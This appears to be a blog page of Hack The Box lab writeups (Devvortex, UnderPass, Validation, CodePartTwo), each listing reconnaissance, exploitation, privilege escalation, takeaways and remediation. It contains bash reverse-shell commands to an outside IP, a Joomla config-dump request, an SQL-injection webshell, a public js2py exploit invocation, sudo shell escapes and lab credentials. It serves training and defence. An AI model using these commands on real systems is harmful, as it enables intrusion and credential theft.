rustscan -a 10.129.229.146 –ulimit 5000 -b 2000 — -A -Pn feroxbuster -u http://devvortex.htb -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt ffuf -u http://devvortex.htb -H “Host: FUZZ.devvortex.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fc 302

2 – Joomla version disclosure and credential leak – CVE-2023-23752 Browsed to dev.devvortex.htb and found a 404 page but robots.txt revealed a Joomla installation. Retrieved the exact version from the Joomla manifest file confirming version 4.2.6. Researched the version and found CVE-2023-23752, an unauthenticated information disclosure vulnerability. Used a single curl request to dump the application config and recovered plaintext MySQL credentials.

curl -s “http://dev.devvortex.htb/api/index.php/v1/config/application?public=true” | python3 -m json.tool

Credentials recovered: lewis:P4ntherg0t1n5r3c0n##

3 – Joomla admin access and webshell via template edit Credentials did not work on SSH but authenticated successfully to the Joomla admin panel. Found a second user logan paul under Users. Navigated to System – Templates – Site Templates – Cassiopeia and edited error.php to include a PHP reverse shell. Triggered the shell via curl and got a foothold as www-data.

curl “http://dev.devvortex.htb/templates/cassiopeia/error.php?cmd=bash+-c+’bash+-i+>%26+/dev/tcp/10.10.16.147/1337+0>%261′”

4 – Database enumeration and hash cracking Stabilised the shell and connected to MySQL using the lewis credentials. Enumerated the joomla database and found a bcrypt hash for the logan user in the users table. Cracked it on the Pwnbox using Hashcat with rockyou.

mysql -u lewis -p’P4ntherg0t1n5r3c0n##’ -D joomla SELECT * FROM sd4fg_users; hashcat -m 3200 ‘$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12’ /usr/share/wordlists/rockyou.txt

Credentials recovered: logan:tequieromucho

5 – SSH access and user flag SSH’d in as logan and retrieved user.txt.

6 – Privilege Escalation – apport-cli sudo abuse Ran sudo -l and found logan could run apport-cli as root. Used apport-cli to generate a crash report and when prompted to view it the output opened in less. Used the less shell escape !/bin/bash to drop into a root shell and retrieved root.txt.

sudo /usr/bin/apport-cli –file-bug

Key Takeaways
1. Unauthenticated config disclosure via CVE-2023-23752 (CVSS 7.5 High) – Joomla 4.2.6 exposed the application configuration including database credentials through an unauthenticated API endpoint. Joomla must be kept up to date and API endpoints must require authentication before returning any configuration data.
2. Version disclosure via manifest file – The exact Joomla version was readable from a publicly accessible XML manifest file, enabling precise exploit selection. Files disclosing version or build information must be removed or blocked from public access.
3. Plaintext credentials in application config – The database credentials recovered from the API response were in plaintext. Application configuration files and API responses must never return credentials in plaintext regardless of the intended audience of the endpoint.
4. Weak password crackable with rockyou – Logan’s bcrypt hash was cracked using the rockyou wordlist. While bcrypt is an appropriate hashing algorithm, the underlying password was too weak. Passwords must meet complexity requirements that make dictionary attacks impractical regardless of the hashing algorithm in use.
5. Template file editing enabling webshell upload – Joomla admin access allowed direct editing of PHP template files, providing an immediate path to code execution. CMS template editing must be restricted and monitored. File integrity monitoring should alert on any modifications to template or core PHP files.
6. apport-cli sudo rule allowing shell escape via less – Logan could run apport-cli as root with no restrictions, which invoked less for report viewing. Less is documented on GTFOBins as a shell escape vector. Sudo rules must be tested against GTFOBins before deployment and restricted to the minimum required arguments.
Remediation

[Immediate] Patch Joomla to remediate CVE-2023-23752 (CVSS 7.5 High) Update Joomla to the latest patched version immediately. Restrict access to the Joomla administrator panel and all API endpoints to authorised IP ranges. Disable public access to manifest and configuration files and audit which API endpoints are accessible without authentication.

[Immediate] Rotate all credentials recovered from the API response The lewis database credentials and any other secrets exposed via the API must be considered fully compromised. Rotate all affected passwords and audit the database for any other accounts or credentials that may have been accessible.

[Immediate] Remove the apport-cli sudo rule Remove the sudoers entry allowing logan to run apport-cli as root. If crash reporting functionality is operationally required, implement it through a mechanism that does not grant an interactive root session. Audit all sudo rules across the system against GTFOBins.

[Short-term] Enforce a strong password policy Logan’s password was in the rockyou wordlist and cracked despite bcrypt being used. Enforce a minimum password length of 14 characters with complexity requirements across all application and OS accounts. Audit existing passwords against common wordlists and force resets where weak passwords are found.

[Short-term] Restrict Joomla template editing Disable template file editing in the Joomla admin panel unless explicitly required. Implement file integrity monitoring on all template and core PHP files to alert on unauthorised modifications. Apply the principle of least privilege to Joomla admin accounts and remove the ability to edit PHP files from accounts that do not require it.

[Long-term] Implement a CMS hardening and patch management baseline Define a hardening standard for all CMS deployments covering patch cadence, admin panel access restrictions, API authentication, file permission hardening, and version disclosure prevention. Include Joomla and other CMS installations in regular vulnerability scans and penetration tests.
UnderPass writeup
UnderPass writeup

Box name: UnderPass

Difficulty: Easy

OS: Linux

Overview: Underpass is an Easy Linux machine starting with a default Apache Ubuntu page. This leads the attacker to enumerate the machine’s UDP ports for alternative attack vectors. The attacker can enumerate SNMP and discover that Daloradius is running on the remote machine, and the operators panel can be accessed using the default credentials. Inside the panel, the password hash for the user svcMosh is stored, and it’s crackable. Then, the attacker can log in to the remote machine using SSH with the credentials they have obtained. The user svcMosh is configured to run mosdh-server as root, which allows the attacker to connect to the server from their local machine and interact with the remote machine as the root user.

Link: https://app.hackthebox.com/machines/UnderPass?sort_by=created_at&sort_type=desc

Machine IP: 10.129.231.213

Ran rustscan on the machine.

rustscan -a 10.129.231.213 –ulimit 5000 -b 2000 — -A -Pn

Navigated to the http port. It’s a default web page.

Ran feroxbuster to directory buster and ffuf for subdomain enumeration.

feroxbuster -u http://10.129.231.213 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

ffuf -u http://FUZZ.10.129.231.213 -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt

Manually checked robots.txt and source code but doesn’t see anything. Ran rustscan again to make sure I didn’t miss anything. From some research I found CVE-2022-23943 that this version of Apache is vulnerable to but this looks like a DoS vulnerability so this is not our path. Took another step back and scanned UDP ports. Feroxbuster and ffuf hasn’t seemed to find anything. Ran nmap and found potentially interesting stuff.

nmap -sU –top-ports 100 10.129.231.213

snmp-check 10.129.231.213

There is a mention of a daloradius server. Found this and read through it https://github.com/lirantal/daloradius. I got stuck here so I referred to the writeup. It mentions an article that I ironically already skimmed through but missed important details https://kb.ct-group.com/radius-holding-post-watch-this-space/. There is a login at /daloradius/app/operators/. As I didn’t find any credentials earlier I did some googling and found this https://sourceforge.net/p/daloradius/bugs/35/. I was able to login with deafult credentials – administrator:radius. I poked around in the console and found a user svcMosh with a password.

svcMosh:412DD4759978ACFCC81DEAB01B382403

I tried just SSHing with that but it didn’t work. It’s probably a MD5 hash so I just used CrackStation to see if it already has it cracked and it does.

svcMosh:underwaterfriends

I was able to log in to ssh.

Got user.txt

Ran sudo -l for low hanging fruit and found our likely path for root.

When I run it it looks like it runs a server. I’m not entirely familiar of mosh though.

I checked GTFO bins but it looks like getting a shell would only work if we have sudo for mosh. Did some research. The alphanumerical string on the right is a key and the 60001 is a port and we can connect to that with our own machine. As it’s running as root we should get root.

We can install mosh.

sudo apt install mosh

And run this command to connect

MOSH_KEY=ArQ1x/qKyFXSWQJczBAdOw mosh-client 10.129.231.213 60001

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 22 (SSH) and 80 (HTTP). Browsed to the web server and found a default Apache Ubuntu page. Feroxbuster and ffuf found nothing useful. Manually checked robots.txt and source code with no findings. Researched the Apache version and found CVE-2022-23943 but it was a DoS vulnerability and not a viable path. Stepped back and scanned UDP ports.

rustscan -a 10.129.231.213 –ulimit 5000 -b 2000 — -A -Pn feroxbuster -u http://10.129.231.213 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt nmap -sU –top-ports 100 10.129.231.213

2 – SNMP enumeration and service discovery UDP scan identified SNMP on port 161. Ran snmp-check and found a reference to a daloradius server running on the machine. Researched daloradius and found the operators panel was accessible at /daloradius/app/operators/. Logged in using default credentials.

snmp-check 10.129.231.213

Credentials: administrator:radius

3 – Hash extraction and cracking Explored the daloradius operators panel and found a user account for svcMosh with a stored password hash. Identified the hash as MD5 and cracked it using CrackStation.

Hash: 412DD4759978ACFCC81DEAB01B382403 Credentials recovered: svcMosh:underwaterfriends

4 – SSH access and user flag Authenticated via SSH using the cracked credentials and retrieved user.txt.

5 – Privilege Escalation – mosh-server sudo abuse Ran sudo -l and found svcMosh could run mosh-server as root. Executed it and it started a server on port 60001 with a session key. Installed mosh on the attack machine and connected using the key and port, receiving a root shell.

MOSH_KEY=ArQ1x/qKyFXSWQJczBAdOw mosh-client 10.129.231.213 60001

Key Takeaways
1. Default credentials on daloradius operators panel – The daloradius instance was accessible using the well-known default credentials administrator:radius. Default credentials are one of the most commonly exploited weaknesses and must be changed on every application before it is connected to a network.
2. SNMP revealing internal service information – SNMP with the default public community string disclosed that daloradius was running on the machine, providing a direct pivot to the next attack step. SNMP must be configured with a non-default community string and restricted to authorised management hosts only.
3. Password hash stored and recoverable from application panel – The svcMosh password hash was visible in the daloradius interface and was a simple unsalted MD5 hash that cracked instantly. Application panels must not expose password hashes to logged-in users and passwords must be stored using a strong adaptive hashing algorithm such as bcrypt or Argon2.
4. Weak password crackable without GPU – The recovered password was in common hash databases and cracked without any local compute. Passwords must meet complexity and length requirements that make them resistant to lookup table and dictionary attacks regardless of the hashing algorithm in use.
5. Sudo rule allowing mosh-server with no restrictions – svcMosh could run mosh-server as root with no restrictions on arguments or ports, which allowed spinning up a root-owned interactive session accessible from any host. Sudo rules for network services must be reviewed for escalation paths and restricted to the minimum required functionality.
Remediation

[Immediate] Change all default credentials on daloradius and all other applications Rotate the administrator password on the daloradius operators panel immediately. Audit all applications and services across the environment for default or shared credentials and replace them with strong unique passwords. Include default credential checks in the onboarding process for any new software deployment.

[Immediate] Harden SNMP configuration Change the SNMP community string from the default public to a long randomly generated value. Restrict SNMP access to authorised management IP addresses only via ACL. If SNMP is not required, disable it entirely and block UDP port 161 at the perimeter firewall. Migrate to SNMPv3 with authentication and encryption.

[Immediate] Remove the mosh-server sudo rule Remove or restrict the sudoers entry allowing svcMosh to run mosh-server as root. If mosh access is operationally required, implement it through a controlled method that does not grant an unrestricted root session to any user. Audit all sudo rules across the system for similar escalation paths.

[Short-term] Replace MD5 password hashing in daloradius Migrate stored password hashes from MD5 to a modern adaptive algorithm such as bcrypt. Force a password reset for all accounts after migration. Ensure the application no longer displays hash values in the user interface under any circumstances.

[Short-term] Restrict daloradius panel access The daloradius operators panel should not be accessible from untrusted networks. Restrict access to an internal management VLAN or require VPN access. Apply firewall rules to block external access to the panel and any other administrative interfaces on the server.

[Long-term] Implement a service hardening baseline and regular audit process Define a hardening standard covering default credential rotation, SNMP configuration, sudo policy, and password storage for all services deployed in the environment. Include UDP port scanning in the regular vulnerability assessment scope as UDP services are frequently overlooked. Conduct periodic reviews of sudo configurations across all Linux hosts.
Validation writeup
Validation writeup

Box name: Validation

Difficulty: Easy

OS: Linux

Overview:

Link: https://app.hackthebox.com/machines/Validation?sort_by=created_at&sort_type=desc

Machine IP: 10.129.95.235

Ran rustscan on the machine.

rustscan -a 10.129.95.235 –ulimit 5000 -b 2000 — -A -Pn

Looked at the http server and it looks like some qualifiers website.

When I created a test account in a random country it looks like it would show if there are other users in that area. There might be a database here.

Ran feroxbuster while I poke at this more.

feroxbuster -u http://10.129.95.235 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

My initial thoughts were either SQL injection or for some reason credentials are in one of the countries and would need to use Burp to find the length of which one has other Players.

I first ran sqlmap after intercepting a request with Burp.

sqlmap -r intercepted_request.txt

It did say the Brazil part of the input was vulnerable but I couldn’t dump anything.

I wasn’t able to quite figure this out on my own so I peeked at the writeup. Note to self do SQL module from HTB. As the country was vulnerable we are able to get a shell. Sent this request from Burp.

Then sent /account.php with the cookie of the user we got.

Was able to activate it with curl and we got a shell.

curl -G http://10.129.95.235/shell.php –data-urlencode “cmd=bash -c ‘bash -i >& /dev/tcp/10.10.16.147/1337 0>&1′”

As there was a config.php in the directory we landed I read that and it had a password. Tried it on root and it worked.

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 80 (HTTP) and 8080 (HTTP). Browsed to the web server and found a qualifier registration site. Creating a test account and selecting a country showed other registered users in the same region. Ran feroxbuster while poking around manually.

rustscan -a 10.129.95.235 –ulimit 5000 -b 2000 — -A -Pn feroxbuster -u http://10.129.95.235 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

2 – SQL injection discovery Initial suspicion was SQL injection on the country parameter or that credentials were hidden in a country entry requiring Burp to enumerate response lengths. Intercepted a registration request with Burp and ran sqlmap against it. Confirmed the country field was vulnerable to SQL injection.

sqlmap -r intercepted_request.txt

3 – Initial Access – SQLi to webshell Used the SQL injection in the country parameter to write a PHP webshell to the web root via a SQL INTO OUTFILE query. Sent the malicious request through Burp and confirmed the shell was written. Accessed it via the session cookie and triggered a bash reverse shell using curl.

curl -G http://10.129.95.235/shell.php –data-urlencode “cmd=bash -c ‘bash -i >& /dev/tcp/10.10.16.147/1337 0>&1′”

4 – Privilege Escalation – config file credential reuse Landed in the web application directory and found a config.php file. Read it and found a plaintext password. Tried the password on the root account via su and it worked. Retrieved both user.txt and root.txt.

Key Takeaways
1. SQL injection in country parameter – The country field was passed directly into a SQL query without sanitisation or parameterisation, allowing an attacker to manipulate the query. All database queries must use prepared statements with parameterised inputs. User-supplied data must never be concatenated directly into SQL queries.
2. SQL INTO OUTFILE enabled leading to webshell write – The database user had FILE privileges, allowing SQL queries to write arbitrary files to the filesystem including PHP webshells in the web root. Database accounts must be granted the minimum required privileges and FILE permission must never be granted to web application database users.
3. Plaintext credentials in config.php – The database configuration file contained a plaintext password that was reused for the root OS account. Configuration files must be access-controlled and credentials must be unique per service. Root account credentials must never match application or database passwords.
4. Password reuse between application config and root account – A single exposed config file led directly to full root access with no additional exploitation required. This is a critical finding and illustrates why credential isolation across all accounts and services is essential.
5. Web server running with write access to web root – The SQL INTO OUTFILE query succeeded because the database and web server had write access to the web root directory. Web roots must be read-only for all service accounts and the database user must have no access to the filesystem outside its data directory.
Remediation

[Immediate] Remediate all SQL injection vulnerabilities Audit the entire application for SQL injection by reviewing every point where user input interacts with database queries. Replace all dynamic query construction with prepared statements and parameterised queries. Deploy a WAF with SQL injection rules as a compensating control while remediation is in progress.

[Immediate] Revoke FILE privilege from the database user Connect to the database and revoke the FILE privilege from the web application database account immediately. Audit all database users for excessive privileges and apply the principle of least privilege. The web application user should have only SELECT, INSERT, UPDATE, and DELETE on its own schema.

[Immediate] Rotate all credentials in config files and the root account The database password in config.php and the root account password must be rotated immediately and set to unique values. Audit all config files across the application for hardcoded credentials and migrate them to environment variables or a secrets management solution.

[Short-term] Restrict web root permissions Set the web root directory and all files within it to be owned by root and readable but not writable by the web server process. The web server service account must have no write access to any directory that serves web content. Apply these permissions as part of a server hardening baseline.

[Long-term] Implement application security testing as part of the development lifecycle SQL injection and missing input validation are well-understood vulnerability classes that should be caught before deployment. Integrate SAST and DAST tooling into the CI/CD pipeline and conduct regular web application penetration tests. Train developers on secure coding practices with a focus on input validation and safe database interaction patterns.
CodePartTwo writeup
CodePartTwo writeup

Box name: CodePartTwo

Difficulty: Easy

OS: Linux

Overview: CodePartTwo is an Easy Linux machine that features a vulnerable Flask-based web application. Initial web enumeration reveals a JavaScript code editor powered by a vulnerable version of js2py, which allows for remote code execution via sandbox escape. Exploiting this flaw grants access to the system as an unprivileged user. Further enumeration reveals an SQLite database containing password hashes, which are cracked to gain SSH access. Finally, a backup utility, npbackup-cli, that runs with root privileges, is leveraged to obtain root privileges.

Link: https://app.hackthebox.com/machines/CodePartTwo?sort_by=created_at&sort_type=desc

Machine IP: 10.129.232.59

Rustscanned the machine.

rustscan -a 10.129.232.59 –ulimit 5000 -b 2000 — -A -Pn

Checked out Port 8000.

We get a website. Tried registering and it worked.

I ran a few commands to get a lay of the land but it not running from system (tried running dir, ls, whoami, ping, etc). From the previous page we can download the app though. Downloaded that and unzipped it. Read through the app and after doing some research the vulnerability is in /run_code as it uses js2py.eval_js() with no auth check and no sanitization. Found CVE-2024-28397 and found an exploit here https://github.com/naclapor/CVE-2024-28397/blob/main/exploit.py. Downloaded this exploit, ran it and got a shell.

python3 exploit.py –target http://10.129.232.59:8000/run_code –lhost 10.10.16.147 –lport 4444

Stabilized shell.

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

Can’t get user though yet, but there is a user marco on the machine.

I poked around further. Got to /opt and saw a npbackup-cli. I can’t access it but I’m going to bet that’s privesc from marco to root. Will take a look at that later.

After more extensive manual enumeration I found a databases in the original directory I landed in. Interacted with it using sqlite3 and I got a hash for marco.

Cracked the hash with hashcat.

hashcat -m 0 -a 0 649c9d65a206a75f5abe509fe128bce5 /usr/share/wordlists/rockyou.txt

Marco:sweetangelbabylove

I tried using this on ssh and was able to get in.

Got user.txt and there was also just a backup conf file directly in marco’s directory.

Read it and there’s a backup path at /home/app/app.

I was on the fence of how we can get root from this but eventually I also realized we can also run this as root.

sudo -l

Going to try to back up root to get the root.txt that way. Copied npbackup.conf to npbackup2.conf and changed the file path backup to root. Looked up how to use npbackup-cli and was able to back it up.

sudo /usr/local/bin/npbackup-cli -c npbackup2.conf -b -f

sudo /usr/local/bin/npbackup-cli -c npbackup2.conf –ls

I tried just getting the flag but that didn’t work, as it kept deleting my .conf file. Instead I just grabbed the ssh key.

sudo /usr/local/bin/npbackup-cli -c npbackup2.conf –dump /root/.ssh/id_rsa

Copied that to my machine, and used it and we got root.

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified port 8000 (HTTP). Browsed to the web application and successfully registered an account. The application appeared to be a JavaScript code editor. Attempted basic commands but the editor was not executing system commands directly.

rustscan -a 10.129.232.59 –ulimit 5000 -b 2000 — -A -Pn

2 – Source code analysis and CVE identification Downloaded the application source from the site and unzipped it. Read through the code and identified that the /run_code endpoint used js2py.eval_js() with no authentication check and no input sanitisation, making it vulnerable to a sandbox escape. Identified this as CVE-2024-28397 and found a public PoC exploit.

3 – Initial Access – js2py sandbox escape (CVE-2024-28397) Used the public exploit to escape the js2py sandbox and execute arbitrary system commands, landing a shell as the app user. Stabilised the shell.

python3 exploit.py –target http://10.129.232.59:8000/run_code –lhost 10.10.16.147 –lport 4444 python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

4 – Credential extraction and lateral movement Manual enumeration found an SQLite database in the application directory. Queried it with sqlite3 and extracted an MD5 hash for the marco user. Cracked it with Hashcat and used the recovered password to SSH in as marco. Retrieved user.txt.

hashcat -m 0 -a 0 649c9d65a206a75f5abe509fe128bce5 /usr/share/wordlists/rockyou.txt

Credentials recovered: marco:sweetangelbabylove

5 – Privilege Escalation – npbackup-cli sudo abuse Found npbackup-cli in /usr/local/bin and confirmed via sudo -l that marco could run it as root. Found an existing backup config pointing to /home/app/app. Copied the config, modified the backup path to /root, and used npbackup-cli to back up the root directory. Listed the backup contents then dumped the root SSH private key.

sudo /usr/local/bin/npbackup-cli -c npbackup2.conf -b -f sudo /usr/local/bin/npbackup-cli -c npbackup2.conf –dump /root/.ssh/id_rsa

6 – Root Copied the private key to the attack machine and used it to SSH in as root. Retrieved root.txt.

Key Takeaways
1. Unauthenticated code execution endpoint – CVE-2024-28397 (CVSS 8.8 High) – The /run_code endpoint accepted arbitrary JavaScript and passed it directly to js2py.eval_js() with no authentication and no sanitisation. Any unauthenticated visitor could execute code in the js2py runtime and escape the sandbox to reach the underlying OS. Endpoints executing user-supplied code must require authentication and use a hardened isolated execution environment.
2. Credentials stored in a plaintext SQLite database – The application stored user password hashes in an SQLite database on the filesystem without any additional access controls. The database was readable by the application user, allowing hash extraction after gaining a foothold. Databases containing credentials must be access-controlled and passwords must use a strong hashing algorithm such as bcrypt or Argon2 rather than MD5.
3. Weak password crackable with rockyou – The marco account password was in the rockyou wordlist and cracked quickly from an MD5 hash. MD5 is not a suitable algorithm for password storage and user passwords must meet complexity requirements that make them resistant to dictionary attacks.
4. Overly permissive sudo rule on a backup utility – Marco could run npbackup-cli as root with no restrictions on which config file or backup path could be used. This allowed an arbitrary file read of any path on the system including root’s SSH private key. Sudo rules for backup utilities must restrict the config file path and the backup source to specific approved locations.
5. Root SSH private key extractable – The root account had an SSH private key that was accessible once root-level file read was achieved. Root should not have an SSH private key stored on the system and root SSH login should be disabled entirely.
Remediation

[Immediate] Remediate the unauthenticated code execution endpoint – CVE-2024-28397 (CVSS 8.8 High) Require authentication on the /run_code endpoint immediately. Replace js2py with a fully isolated execution environment such as a sandboxed container or a restricted interpreter with no access to the host OS. Conduct a full audit of all endpoints for missing authentication controls.

[Immediate] Replace MD5 password hashing with a modern algorithm Migrate all stored password hashes from MD5 to bcrypt, scrypt, or Argon2. Force a password reset for all affected accounts. Implement a password policy requiring minimum length and complexity to reduce susceptibility to dictionary attacks.

[Immediate] Restrict the npbackup-cli sudo rule Modify the sudoers entry to restrict npbackup-cli to a specific approved configuration file and a specific backup source directory. Prevent the user from supplying arbitrary config files or backup paths. Test the restricted rule against known abuse techniques before deploying.

[Immediate] Disable root SSH login and remove root SSH keys Set PermitRootLogin no in /etc/ssh/sshd_config. Remove any existing SSH private keys from the root account home directory. All privileged access must go through a named user account with sudo and be logged and monitored.

[Short-term] Restrict access to application databases Ensure SQLite and other application databases are not readable by any user other than the application service account. Apply filesystem permissions to restrict database files and store them outside the web root and outside any directory accessible after a typical exploitation step.

[Long-term] Implement a secure development lifecycle for internal applications Establish a code review and security testing process covering all internal applications. Security controls including authentication on all endpoints, input validation, safe handling of user-supplied code, and secure credential storage must be verified before any application is deployed. Include Flask and Python applications in the scope of regular penetration tests.
Hacker Rank achieved

Solo pwned the most recent active machine and also achieved the Hacker rank, what a thrill. That likely wraps up the season for me as there’s no way I’m pwning the Insane ranked machine with my current level, but I’ll be practicing on retired machines in prep for next season. GG

Badge: https://labs.hackthebox.com/achievement/badge/2177068/215

kami@kali:~$ journalctl

Categories